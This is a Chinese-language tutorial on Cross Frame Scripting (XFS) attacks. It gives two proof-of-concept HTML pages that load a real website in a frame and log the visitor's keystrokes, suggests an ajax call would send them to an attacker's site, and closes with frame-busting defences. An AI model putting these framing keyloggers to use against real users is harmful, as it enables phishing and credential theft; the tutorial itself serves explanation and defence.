XFS: Cross Frame Script (跨框架脚本) 攻击。

时间:2023-03-08 21:25:34

一、Cross Frame Script (跨框架脚本) 攻击
什么是Cross Frame Script?
很简单,做个实验就知道了。把下面的这段HTML代码另存为一个html文件,然后用ie浏览器打开。
<html>
<head>
<title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
var keylog='';
document.onkeypress = function () {
   k = window.event.keyCode;
   window.status = keylog += String.fromCharCode(k) + '[' + k +']';
}
</script>
</head>
<frameset onload="this.focus();" onblur="this.focus();" cols="100%">
<frame src="http://www.baidu.com/" scrolling="auto">
</frameset>
</html>
当你在百度的搜索框输入字符时,你会发现左下角的状态栏上出现了你输入的字符。
二、Cross Frame Script 原理
利用浏览器允许框架(frame)跨站包含其它页面的漏洞,在主框架的代码中加入scirpt,监视、盗取用户输入。
三、Cross Frame Script 危害
一个恶意的站点可以通过用框架包含真的网银或在线支付网站,获取用户账号和密码。
解决方案
用户:留心浏览器地址,不在带框架页面中输入用户信息
网站管理员:
在页面中加入以下javascirpt代码可以避免网站被XFS:
if (top != self)    {
top.location=self.location;
}

XFS: Cross Frame Script (跨框架脚本) 攻击。 
什么是XFS攻击,下面举一个例子: 
Tom在QQ上发消息诱骗Jerry点击了下面的连接:

  1. http://thief.com

上面的连接返回了下面的html:

  1. <html>
  2. <head>
  3. <title>IE Cross Frame Scripting Restriction Bypass Example</title>
  4. <script>
  5. function alertKey(e) {
  6. alert("key press = '" + e.which + "'");
  7. }
  8. </script>
  9. </head>
  10. <frameset onload="this.focus();" onblur="this.focus();" cols="100%" onkeypress="alertKey(event);">
  11. <frame src="http://cuishen.iteye.com/" scrolling="auto">
  12. </frameset>
  13. </html>

对于Jerry来说,他以为自己在访问熟悉的网站,殊不知将输入的敏感信息暴露给了Tom (只要将上面alert 改成ajax call)。 
魔高一尺,道高一丈,对于XFS攻击也有防御的办法。  主要算法是: 
A. 对于确定你的网站没有使用frame的页面要打破frame (frame busting)

  1. <style>
  2. html { visibility:hidden; }
  3. </style>
  4. <script>
  5. if( self == top){
  6. document.documentElement.style.visibility='visible';
  7. }else{
  8. top.location = self.location;
  9. }
  10. </script>

B. 对于有使用iframe 和frame的页面当心anti-busting,换做下面的脚本:

  1. if top <> self then
  2. if top.location.hostname <> self.location.hostname then
  3. top.location = "http://cuishen.iteye.com/"
  4. end if
  5. end if

你的网站可能会毫不知情的被外面包裹一层frame,而变成了一个钓鱼网站,so... 请尽量避免在你的网站使用frame/iframe,并且应用frame busting脚本。 
对于user来说,请升级到IE7以上浏览器,并设置:  Navigate sub-frames across different domains  set to "Prompt" or "Disable", 这个将在浏览器层面防御XFS攻击。